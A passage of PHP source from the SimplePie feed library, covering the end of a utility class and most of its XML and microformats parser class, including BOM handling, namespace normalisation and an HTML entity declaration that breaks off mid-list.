						$info .= '      Version ' . $version['version'] . "\n";
						break;
					case 'mbstring':
						$info .= '      Overloading: ' . mb_get_info('func_overload') . "\n";
						break;
					case 'iconv':
						$info .= '      Version ' . ICONV_VERSION . "\n";
						break;
					case 'xml':
						$info .= '      Version ' . LIBXML_DOTTED_VERSION . "\n";
						break;
				}
			}
			else
			{
				$info .= "    $ext not loaded\n";
			}
		}
		return $info;
	}

	public static function silence_errors($num, $str)
	{
		// No-op
	}

	/**
	 * Sanitize a URL by removing HTTP credentials.
	 * @param string $url the URL to sanitize.
	 * @return string the same URL without HTTP credentials.
	 */
	public static function url_remove_credentials($url)
	{
		return preg_replace('#^(https?://)[^/:@]+:[^/:@]+@#i', '$1', $url);
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Parses XML into something sane
 *
 *
 * This class can be overloaded with {@see SimplePie::set_parser_class()}
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class SimplePie_Parser
{
	var $error_code;
	var $error_string;
	var $current_line;
	var $current_column;
	var $current_byte;
	var $separator = ' ';
	var $namespace = array('');
	var $element = array('');
	var $xml_base = array('');
	var $xml_base_explicit = array(false);
	var $xml_lang = array('');
	var $data = array();
	var $datas = array(array());
	var $current_xhtml_construct = -1;
	var $encoding;
	protected $registry;

	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	public function parse(&$data, $encoding, $url = '')
	{
		if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
			$doc = new DOMDocument();
			@$doc->loadHTML($data);
			$xpath = new DOMXpath($doc);
			// Check for both h-feed and h-entry, as both a feed with no entries
			// and a list of entries without an h-feed wrapper are both valid.
			$query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
				'contains(concat(" ", @class, " "), " h-entry ")]';
			$result = $xpath->query($query);
			if ($result->length !== 0) {
				return $this->parse_microformats($data, $url);
			}
		}

		// Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
		if (strtoupper($encoding) === 'US-ASCII')
		{
			$this->encoding = 'UTF-8';
		}
		else
		{
			$this->encoding = $encoding;
		}

		// Strip BOM:
		// UTF-32 Big Endian BOM
		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
		{
			$data = substr($data, 4);
		}
		// UTF-32 Little Endian BOM
		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
		{
			$data = substr($data, 4);
		}
		// UTF-16 Big Endian BOM
		elseif (substr($data, 0, 2) === "\xFE\xFF")
		{
			$data = substr($data, 2);
		}
		// UTF-16 Little Endian BOM
		elseif (substr($data, 0, 2) === "\xFF\xFE")
		{
			$data = substr($data, 2);
		}
		// UTF-8 BOM
		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
		{
			$data = substr($data, 3);
		}

		if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false)
		{
			$declaration = $this->registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5)));
			if ($declaration->parse())
			{
				$data = substr($data, $pos + 2);
				$data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' ."\n". $this->declare_html_entities() . $data;
			}
			else
			{
				$this->error_string = 'SimplePie bug! Please report this!';
				return false;
			}
		}

		$return = true;

		static $xml_is_sane = null;
		if ($xml_is_sane === null)
		{
			$parser_check = xml_parser_create();
			xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
			xml_parser_free($parser_check);
			$xml_is_sane = isset($values[0]['value']);
		}

		// Create the parser
		if ($xml_is_sane)
		{
			$xml = xml_parser_create_ns($this->encoding, $this->separator);
			xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
			xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
			xml_set_object($xml, $this);
			xml_set_character_data_handler($xml, 'cdata');
			xml_set_element_handler($xml, 'tag_open', 'tag_close');

			// Parse!
			$wrapper = @is_writable(sys_get_temp_dir()) ? 'php://temp' : 'php://memory';
			if (($stream = fopen($wrapper, 'r+')) &&
				fwrite($stream, $data) &&
				rewind($stream))
			{
				//Parse by chunks not to use too much memory
				do
				{
					$stream_data = fread($stream, 1048576);
					if (!xml_parse($xml, $stream_data === false ? '' : $stream_data, feof($stream)))
					{
						$this->error_code = xml_get_error_code($xml);
						$this->error_string = xml_error_string($this->error_code);
						$return = false;
						break;
					}
				} while (!feof($stream));
				fclose($stream);
			}
			else
			{
				$return = false;
			}

			$this->current_line = xml_get_current_line_number($xml);
			$this->current_column = xml_get_current_column_number($xml);
			$this->current_byte = xml_get_current_byte_index($xml);
			xml_parser_free($xml);
			return $return;
		}

		libxml_clear_errors();
		$xml = new XMLReader();
		$xml->xml($data);
		while (@$xml->read())
		{
			switch ($xml->nodeType)
			{

				case constant('XMLReader::END_ELEMENT'):
					if ($xml->namespaceURI !== '')
					{
						$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
					}
					else
					{
						$tagName = $xml->localName;
					}
					$this->tag_close(null, $tagName);
					break;
				case constant('XMLReader::ELEMENT'):
					$empty = $xml->isEmptyElement;
					if ($xml->namespaceURI !== '')
					{
						$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
					}
					else
					{
						$tagName = $xml->localName;
					}
					$attributes = array();
					while ($xml->moveToNextAttribute())
					{
						if ($xml->namespaceURI !== '')
						{
							$attrName = $xml->namespaceURI . $this->separator . $xml->localName;
						}
						else
						{
							$attrName = $xml->localName;
						}
						$attributes[$attrName] = $xml->value;
					}
					$this->tag_open(null, $tagName, $attributes);
					if ($empty)
					{
						$this->tag_close(null, $tagName);
					}
					break;
				case constant('XMLReader::TEXT'):

				case constant('XMLReader::CDATA'):
					$this->cdata(null, $xml->value);
					break;
			}
		}
		if ($error = libxml_get_last_error())
		{
			$this->error_code = $error->code;
			$this->error_string = $error->message;
			$this->current_line = $error->line;
			$this->current_column = $error->column;
			return false;
		}

		return true;
	}

	public function get_error_code()
	{
		return $this->error_code;
	}

	public function get_error_string()
	{
		return $this->error_string;
	}

	public function get_current_line()
	{
		return $this->current_line;
	}

	public function get_current_column()
	{
		return $this->current_column;
	}

	public function get_current_byte()
	{
		return $this->current_byte;
	}

	public function get_data()
	{
		return $this->data;
	}

	public function tag_open($parser, $tag, $attributes)
	{
		list($this->namespace[], $this->element[]) = $this->split_ns($tag);

		$attribs = array();
		foreach ($attributes as $name => $value)
		{
			list($attrib_namespace, $attribute) = $this->split_ns($name);
			$attribs[$attrib_namespace][$attribute] = $value;
		}

		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base']))
		{
			$base = $this->registry->call('Misc', 'absolutize_url', array($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base)));
			if ($base !== false)
			{
				$this->xml_base[] = $base;
				$this->xml_base_explicit[] = true;
			}
		}
		else
		{
			$this->xml_base[] = end($this->xml_base);
			$this->xml_base_explicit[] = end($this->xml_base_explicit);
		}

		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang']))
		{
			$this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang'];
		}
		else
		{
			$this->xml_lang[] = end($this->xml_lang);
		}

		if ($this->current_xhtml_construct >= 0)
		{
			$this->current_xhtml_construct++;
			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML)
			{
				$this->data['data'] .= '<' . end($this->element);
				if (isset($attribs['']))
				{
					foreach ($attribs[''] as $name => $value)
					{
						$this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
					}
				}
				$this->data['data'] .= '>';
			}
		}
		else
		{
			$this->datas[] =& $this->data;
			$this->data =& $this->data['child'][end($this->namespace)][end($this->element)][];
			$this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang));
			if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_20 && in_array(end($this->element), array('title')))
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_090 && in_array(end($this->element), array('title')))
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_10 && in_array(end($this->element), array('title'))))
			{
				$this->current_xhtml_construct = 0;
			}
		}
	}

	public function cdata($parser, $cdata)
	{
		if ($this->current_xhtml_construct >= 0)
		{
			$this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
		}
		else
		{
			$this->data['data'] .= $cdata;
		}
	}

	public function tag_close($parser, $tag)
	{
		if ($this->current_xhtml_construct >= 0)
		{
			$this->current_xhtml_construct--;
			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param')))
			{
				$this->data['data'] .= '</' . end($this->element) . '>';
			}
		}
		if ($this->current_xhtml_construct === -1)
		{
			$this->data =& $this->datas[count($this->datas) - 1];
			array_pop($this->datas);
		}

		array_pop($this->element);
		array_pop($this->namespace);
		array_pop($this->xml_base);
		array_pop($this->xml_base_explicit);
		array_pop($this->xml_lang);
	}

	public function split_ns($string)
	{
		static $cache = array();
		if (!isset($cache[$string]))
		{
			if ($pos = strpos($string, $this->separator))
			{
				static $separator_length;
				if (!$separator_length)
				{
					$separator_length = strlen($this->separator);
				}
				$namespace = substr($string, 0, $pos);
				$local_name = substr($string, $pos + $separator_length);
				if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES)
				{
					$namespace = SIMPLEPIE_NAMESPACE_ITUNES;
				}

				// Normalize the Media RSS namespaces
				if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2 ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3 ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4 ||
					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5 )
				{
					$namespace = SIMPLEPIE_NAMESPACE_MEDIARSS;
				}
				$cache[$string] = array($namespace, $local_name);
			}
			else
			{
				$cache[$string] = array('', $string);
			}
		}
		return $cache[$string];
	}

	private function parse_hcard($data, $category = false) {
		$name = '';
		$link = '';
		// Check if h-card is set and pass that information on in the link.
		if (isset($data['type']) && in_array('h-card', $data['type'])) {
			if (isset($data['properties']['name'][0])) {
				$name = $data['properties']['name'][0];
			}
			if (isset($data['properties']['url'][0])) {
				$link = $data['properties']['url'][0];
				if ($name === '') {
					$name = $link;
				}
				else {
					// can't have commas in categories.
					$name = str_replace(',', '', $name);
				}
				$person_tag = $category ? '<span class="person-tag"></span>' : '';
				return '<a class="h-card" href="'.$link.'">'.$person_tag.$name.'</a>';
			}
		}
		return isset($data['value']) ? $data['value'] : '';
	}

	private function parse_microformats(&$data, $url) {
		$feed_title = '';
		$feed_author = NULL;
		$author_cache = array();
		$items = array();
		$entries = array();
		$mf = Mf2\parse($data, $url);
		// First look for an h-feed.
		$h_feed = array();
		foreach ($mf['items'] as $mf_item) {
			if (in_array('h-feed', $mf_item['type'])) {
				$h_feed = $mf_item;
				break;
			}
			// Also look for h-feed or h-entry in the children of each top level item.
			if (!isset($mf_item['children'][0]['type'])) continue;
			if (in_array('h-feed', $mf_item['children'][0]['type'])) {
				$h_feed = $mf_item['children'][0];
				// In this case the parent of the h-feed may be an h-card, so use it as
				// the feed_author.
				if (in_array('h-card', $mf_item['type'])) $feed_author = $mf_item;
				break;
			}
			else if (in_array('h-entry', $mf_item['children'][0]['type'])) {
				$entries = $mf_item['children'];
				// In this case the parent of the h-entry list may be an h-card, so use
				// it as the feed_author.
				if (in_array('h-card', $mf_item['type'])) $feed_author = $mf_item;
				break;
			}
		}
		if (isset($h_feed['children'])) {
			$entries = $h_feed['children'];
			// Also set the feed title and store author from the h-feed if available.
			if (isset($mf['items'][0]['properties']['name'][0])) {
				$feed_title = $mf['items'][0]['properties']['name'][0];
			}
			if (isset($mf['items'][0]['properties']['author'][0])) {
				$feed_author = $mf['items'][0]['properties']['author'][0];
			}
		}
		else if (count($entries) === 0) {
			$entries = $mf['items'];
		}
		for ($i = 0; $i < count($entries); $i++) {
			$entry = $entries[$i];
			if (in_array('h-entry', $entry['type'])) {
				$item = array();
				$title = '';
				$description = '';
				if (isset($entry['properties']['url'][0])) {
					$link = $entry['properties']['url'][0];
					if (isset($link['value'])) $link = $link['value'];
					$item['link'] = array(array('data' => $link));
				}
				if (isset($entry['properties']['uid'][0])) {
					$guid = $entry['properties']['uid'][0];
					if (isset($guid['value'])) $guid = $guid['value'];
					$item['guid'] = array(array('data' => $guid));
				}
				if (isset($entry['properties']['name'][0])) {
					$title = $entry['properties']['name'][0];
					if (isset($title['value'])) $title = $title['value'];
					$item['title'] = array(array('data' => $title));
				}
				if (isset($entry['properties']['author'][0]) || isset($feed_author)) {
					// author is a special case, it can be plain text or an h-card array.
					// If it's plain text it can also be a url that should be followed to
					// get the actual h-card.
					$author = isset($entry['properties']['author'][0]) ?
						$entry['properties']['author'][0] : $feed_author;
					if (!is_string($author)) {
						$author = $this->parse_hcard($author);
					}
					else if (strpos($author, 'http') === 0) {
						if (isset($author_cache[$author])) {
							$author = $author_cache[$author];
						}
						else {
							$mf = Mf2\fetch($author);
							foreach ($mf['items'] as $hcard) {
								// Only interested in an h-card by itself in this case.
								if (!in_array('h-card', $hcard['type'])) {
									continue;
								}
								// It must have a url property matching what we fetched.
								if (!isset($hcard['properties']['url']) ||
										!(in_array($author, $hcard['properties']['url']))) {
									continue;
								}
								// Save parse_hcard the trouble of finding the correct url.
								$hcard['properties']['url'][0] = $author;
								// Cache this h-card for the next h-entry to check.
								$author_cache[$author] = $this->parse_hcard($hcard);
								$author = $author_cache[$author];
								break;
							}
						}
					}
					$item['author'] = array(array('data' => $author));
				}
				if (isset($entry['properties']['photo'][0])) {
					// If a photo is also in content, don't need to add it again here.
					$content = '';
					if (isset($entry['properties']['content'][0]['html'])) {
						$content = $entry['properties']['content'][0]['html'];
					}
					$photo_list = array();
					for ($j = 0; $j < count($entry['properties']['photo']); $j++) {
						$photo = $entry['properties']['photo'][$j];
						if (!empty($photo) && strpos($content, $photo) === false) {
							$photo_list[] = $photo;
						}
					}
					// When there's more than one photo show the first and use a lightbox.
					// Need a permanent, unique name for the image set, but don't have
					// anything unique except for the content itself, so use that.
					$count = count($photo_list);
					if ($count > 1) {
						$image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]);
						$description = '<p>';
						for ($j = 0; $j < $count; $j++) {
							$hidden = $j === 0 ? '' : 'class="hidden" ';
							$description .= '<a href="'.$photo_list[$j].'" '.$hidden.
								'data-lightbox="image-set-'.$image_set_id.'">'.
								'<img src="'.$photo_list[$j].'"></a>';
						}
						$description .= '<br><b>'.$count.' photos</b></p>';
					}
					else if ($count == 1) {
						$description = '<p><img src="'.$photo_list[0].'"></p>';
					}
				}
				if (isset($entry['properties']['content'][0]['html'])) {
					// e-content['value'] is the same as p-name when they are on the same
					// element. Use this to replace title with a strip_tags version so
					// that alt text from images is not included in the title.
					if ($entry['properties']['content'][0]['value'] === $title) {
						$title = strip_tags($entry['properties']['content'][0]['html']);
						$item['title'] = array(array('data' => $title));
					}
					$description .= $entry['properties']['content'][0]['html'];
					if (isset($entry['properties']['in-reply-to'][0])) {
						$in_reply_to = '';
						if (is_string($entry['properties']['in-reply-to'][0])) {
							$in_reply_to = $entry['properties']['in-reply-to'][0];
						}
						else if (isset($entry['properties']['in-reply-to'][0]['value'])) {
							$in_reply_to = $entry['properties']['in-reply-to'][0]['value'];
						}
						if ($in_reply_to !== '') {
							$description .= '<p><span class="in-reply-to"></span> '.
								'<a href="'.$in_reply_to.'">'.$in_reply_to.'</a><p>';
						}
					}
					$item['description'] = array(array('data' => $description));
				}
				if (isset($entry['properties']['category'])) {
					$category_csv = '';
					// Categories can also contain h-cards.
					foreach ($entry['properties']['category'] as $category) {
						if ($category_csv !== '') $category_csv .= ', ';
						if (is_string($category)) {
							// Can't have commas in categories.
							$category_csv .= str_replace(',', '', $category);
						}
						else {
							$category_csv .= $this->parse_hcard($category, true);
						}
					}
					$item['category'] = array(array('data' => $category_csv));
				}
				if (isset($entry['properties']['published'][0])) {
					$timestamp = strtotime($entry['properties']['published'][0]);
					$pub_date = date('F j Y g:ia', $timestamp).' GMT';
					$item['pubDate'] = array(array('data' => $pub_date));
				}
				// The title and description are set to the empty string to represent
				// a deleted item (which also makes it an invalid rss item).
				if (isset($entry['properties']['deleted'][0])) {
					$item['title'] = array(array('data' => ''));
					$item['description'] = array(array('data' => ''));
				}
				$items[] = array('child' => array('' => $item));
			}
		}
		// Mimic RSS data format when storing microformats.
		$link = array(array('data' => $url));
		$image = '';
		if (!is_string($feed_author) &&
				isset($feed_author['properties']['photo'][0])) {
			$image = array(array('child' => array('' => array('url' =>
				array(array('data' => $feed_author['properties']['photo'][0]))))));
		}
		// Use the name given for the h-feed, or get the title from the html.
		if ($feed_title !== '') {
			$feed_title = array(array('data' => htmlspecialchars($feed_title)));
		}
		else if ($position = strpos($data, '<title>')) {
			$start = $position < 200 ? 0 : $position - 200;
			$check = substr($data, $start, 400);
			$matches = array();
			if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) {
				$feed_title = array(array('data' => htmlspecialchars($matches[1])));
			}
		}
		$channel = array('channel' => array(array('child' => array('' =>
			array('link' => $link, 'image' => $image, 'title' => $feed_title,
			      'item' => $items)))));
		$rss = array(array('attribs' => array('' => array('version' => '2.0')),
		                   'child' => array('' => $channel)));
		$this->data = array('child' => array('' => array('rss' => $rss)));
		return true;
	}

	private function declare_html_entities() {
		// This is required because the RSS specification says that entity-encoded
		// html is allowed, but the xml specification says they must be declared.
		return '<!DOCTYPE html [ <!ENTITY nbsp "&#x00A0;"> <!ENTITY iexcl "&#x00A1;"> <!ENTITY cent "&#x00A2;"> <!ENTITY pound "&#x00A3;"> <!ENTITY curren "&#x00A4;"> <!ENTITY yen "&#x00A5;"> <!ENTITY brvbar "&#x00A6;"> <!ENTITY sect "&#x00A7;"> <!ENTITY uml "&#x00A8;"> <!ENTITY copy "&#x00A9;"> <!ENTITY ordf "&#x00AA;"> <!ENTITY laquo "&#x00AB;"> <!ENTITY not "&#x00AC;"> <!ENTITY shy "&#x00AD;"> <!ENTITY reg "&#x00AE;"> <!ENTITY macr "&#x00AF;"> <!ENTITY deg "&#x00B0;"> <!ENTITY plusmn "&#x00B1;"> <!ENTITY sup2 "&#x00B2;"> <!ENTITY sup3 "&#x00B3;"> <!ENTITY acute "&#x00B4;"> <!ENTITY micro "&#x00B5;"> <!ENTITY para "&#x00B6;"> <!ENTITY middot "&#x00B7;"> <!ENTITY cedil "&#x00B8;"> <!ENTITY sup1 "&#x00B9;"> <!ENTITY ordm "&#x00BA;"> <!ENTITY raquo "&#x00BB;"> <!ENTITY frac14 "&#x00BC;"> <!ENTITY frac12 "&#x00BD;"> <!ENTITY frac34 "&#x00BE;"> <!ENTITY iquest "&#x00BF;"> <!ENTITY Agrave "&#x00C0;"> <!ENTITY Aacute "&#x00C1;"> <!ENTITY Acirc "&#x00C2;"> <!ENTITY Atilde "&#x00C3;"> <!ENTITY Auml "&#x00C4;"> <!ENTITY Aring "&#x00C5;"> <!ENTITY AElig "&#x00C6;"> <!ENTITY Ccedil "&#x00C7;"> <!ENTITY Egrave "&#x00C8;"> <!ENTITY Eacute "&#x00C9;"> <!ENTITY Ecirc "&#x00CA;"> <!ENTITY Euml "&#x00CB;"> <!ENTITY Igrave "&#x00CC;"> <!ENTITY Iacute "&#x00CD;"> <!ENTITY Icirc "&#x00CE;"> <!ENTITY Iuml "&#x00CF;"> <!ENTITY ETH "&#x00D0;"> <!ENTITY Ntilde "&#x00D1;"> <!ENTITY Ograve "&#x00D2;"> <!ENTITY Oacute "&#x00D3;"> <!ENTITY Ocirc "&#x00D4;"> <!ENTITY Otilde "&#x00D5;"> <!ENTITY Ouml "&#x00D6;"> <!ENTITY times "&#x00D7;"> <!ENTITY Oslash "&#x00D8;"> <!ENTITY Ugrave "&#x00D9;"> <!ENTITY Uacute "&#x00DA;"> <!ENTITY Ucirc "&#x00DB;"> <!ENTITY Uuml "&#x00DC;"> <!ENTITY Yacute "&#x00DD;"> <!ENTITY THORN "&#x00DE;"> <!ENTITY szlig "&#x00DF;"> <!ENTITY agrave "&#x00E0;"> <!ENTITY aacute "&#x00E1;"> <!ENTITY acirc "&#x00E2;"> <!ENTITY atilde "&#x00E3;"> <!ENTITY auml "&#x00E4;"> <!ENTITY aring "&#x00E5;"> <!ENTITY aelig "&#x00E6;"> <!ENTITY ccedil "&#x00E7;"> <!ENTITY egrave "&#x00E8;"> <!ENTITY eacute "&#x00E9;"> <!ENTITY ecirc "&#x00EA;"> <!ENTITY euml "&#x00EB;"> <!ENTITY igrave "&#x00EC;"> <!ENTITY iacute "&#x00ED;"> <!ENTITY icirc "&#x00EE;"> <!ENTITY iuml "&#x00EF;"> <!ENTITY eth "&#x00F0;"> <!ENTITY ntilde "&#x00F1;"> <!ENTITY ograve "&#x00F2;"> <!ENTITY oacute "&#x00F3;"> <!ENTITY ocirc "&#x00F4;"> <!ENTITY otilde "&#x00F5;"> <!ENTITY ouml "&#x00F6;"> <!ENTITY divide "&#x00F7;"> <!ENTITY oslash "&#x00F8;"> <!ENTITY ugrave "&#x00F9;"> <!ENTITY uacute "&#x00FA;"> <!ENTITY ucirc "&#x00FB;"> <!ENTITY uuml "&#x00FC;"> <!ENTITY yacute "&#x00FD;"> <!ENTITY thorn "&#x00FE;"> <!ENTITY yuml "&#x00FF;"> <!ENTITY OElig "&#x0152;"> <!ENTITY oelig "&#x0153;"> <!ENTITY Scaron "&#x0160;"> <!ENTITY scaron "&#x0161;"> <!ENTITY Yuml "&#x0178;"> <!ENTITY fnof "&#x0192;"> <!ENTITY circ "&#x02C6;"> <!ENTITY tilde "&#x02DC;"> <!ENTITY Alpha "&#x0391;"> <!ENTITY Beta "&#x0392;"> <!ENTITY Gamma "&#x0393;"> <!ENTITY Epsilon "&#x0395;"> <!ENTITY Zeta "&#x0396;"> <!ENTITY Eta "&#x0397;"> <!ENTITY Theta "&#x0398;"> <!ENTITY Iota "&#x0399;"> <!ENTITY Kappa "&#x039A;"> <!ENTITY Lambda "&#x039B;"> <!ENTITY Mu "&#x039C;"> <!ENTITY Nu "&#x039D;"> <!ENTITY Xi "&#x039E;"> <!ENTITY Omicron "&#x039F;"> <!ENTITY Pi "&#x03A0;"> <!ENTITY Rho "&#x03A1;"> <!ENTITY Sigma "&#x03A3;"> <!ENTITY Tau "&#x03A4;"> <!ENTITY Upsilon "&#x03A5;"> <!ENTITY Phi "&#x03A6;"> <!ENTITY Chi "&#x03A7;"> <!ENTITY Psi "&#x03A8;"> <!ENTITY Omega "&#x03A9;"> <!ENTITY alpha "&#x03B1;"> <!ENTITY beta "&#x03B2;"> <!ENTITY gamma "&#x03B3;"> <!ENTITY delta "&#x03B4;"> <!ENTITY epsilon "&#x03B5;"> <!ENTITY zeta "&#x03B6;"> <!ENTITY eta "&#x03B7;"> <!ENTITY theta "&#x03B8;"> <!ENTITY iota "&#x03B9;"> <!ENTITY kappa "&#x03BA;"> <!ENTITY lambda "&#x03BB;"> <!ENTITY mu "&#x03BC;"> <!ENTITY nu "&#x03BD;"> <!ENTITY xi "&#x03BE;"> <!ENTITY omicron "&#x03BF;"> <!ENTITY pi "&#x03C0;"> <!ENTITY rho "&#x03C1;"> <!ENTITY sigmaf "&#x03C2;"> <!ENTITY sigma "&#x03C3;"> <!ENTITY tau "&#x03C4;"> <!ENTITY upsilon "&#x03C5;"> <!ENTITY phi "&#x03C6;"> <!ENTITY chi "&#x03C7;"> <!ENTITY psi "&#x03C8;"> <!ENTITY omega "&#x03C9;"> <!ENTITY thetasym "&#x03D1;"> <!ENTITY upsih "&#x03D2;"> <!ENTITY piv "&#x03D6;"> <!ENTITY ensp "&#x2002;"> <!ENTITY emsp "&#x2003;"> <!ENTITY thinsp "&#x2009;"> <!ENTITY zwnj "&#x200C;"> <!ENTITY zwj "&#x200D;"> <!ENTITY lrm "&#x200E;"> <!ENTITY rlm "&#x200F;"> <!ENTITY ndash "&#x2013;"> <!ENTITY mdash "&#x2014;"> <!ENTITY lsquo "&#x2018;"> <!ENTITY rsquo "&#x2019;"> <!ENTITY sbquo "&#x201A;"> <!ENTITY ldquo "&#x201C;"> <!ENTITY rdquo "&#x201D;"> <!ENTITY bdquo "&#x201E;"> <!ENTITY dagger "&#x2020;"> <!ENTITY Dagger "&#x2021;"> <!ENTITY bull "&#x2022;"> <!ENTITY hellip "&#x2026;"> <!ENTITY permil "&#x2030;"> <!ENTITY prime "&#x2032;"> <!ENTITY Prime "&#x2033;"> <!ENTITY lsaquo "&#x2039;"> <!ENTITY rsaquo "&#x203A;"> <!ENTITY oline "&#x203E;"> <!ENTITY frasl "&#x2044;"> <!ENTITY euro "&#x20AC;"> <!ENTITY image "&#x2111;"> <!ENTITY weierp "&#x2118;"> <!ENTITY real "&#x211C;"> <!ENTITY trade "&#x2122;"> <!ENTITY alefsym "&#x2135;"> <!ENTITY larr "&#x2190;"> <!ENTITY uarr "&#x2191;"> <!ENTITY rarr "&#x2192;"> <!ENTITY darr "&#x2193;"> <!ENTITY harr "&#x2194;"> <!ENTITY crarr "&#x21B5;"> <!ENTITY lArr "&#x21D0;"> <!ENTITY uArr "&#x21D1;"> <!ENTITY rArr "&#x21D2;"> <!ENTITY dArr "&#x21D3;"> <!ENTITY hArr "&#x21D4;"> <!ENTITY forall "&#x2200;"> <!ENTITY part "&#x2202;"> <!ENTITY exist "&#x2203;"> <!ENTITY empty "&#x2205;"> <!ENTITY nabla "&#x2207;"> <!ENTITY isin "&#x2208;"> <!ENTITY notin "&#x2209;"> <!ENTITY ni "&#x220B;"> <!ENTITY prod "&#x220F;"> <!ENTITY sum "&#x2211;"> <!ENTITY minus "&#x2212;"> <!ENTITY lowast "&#x2217;"> <!ENTITY radic "&#x221A;"> <!ENTITY prop "&#x221D;"> <!ENTITY infin "&#x221E;"> <!ENTITY ang "&#x2220;"> <!ENTITY and "&#x2227;"> <!ENTITY or "&#x2228;"> <!ENTITY cap "&#x2229;"> <!ENTITY cup "&#x222A;"> <!ENTITY int "&#x222B;"> <!ENTITY there4 "&#x2234;"> <!ENTITY sim "&#x223C;"> <!ENTITY cong "&#x2245;"> <!ENTITY asymp "&#x2248;"> <!ENTITY ne "&#x2260;"> <!ENTITY equiv "&#x2261;"> <!ENTITY le "&#x2264;"> <!ENTITY ge "&#x2265;"> <!ENTITY sub "&#x2282;"> <!ENTITY sup "&#x2283;"> <!ENTITY nsub "&#x2284;"> <!ENTITY sube "&#x2286;"> <!ENTITY supe "&#x2287;"> <!ENTITY oplus "&#x2295;"> <!ENTITY otimes "&#x2297;"> <!ENTITY perp "&#x22A5;"> <!ENTITY sdot "&#x22C5;"> <!ENTITY lceil "&#x2308;"> <!ENTITY rceil "&#x2309;"> <!ENTITY lfloor "&#x230A;"> 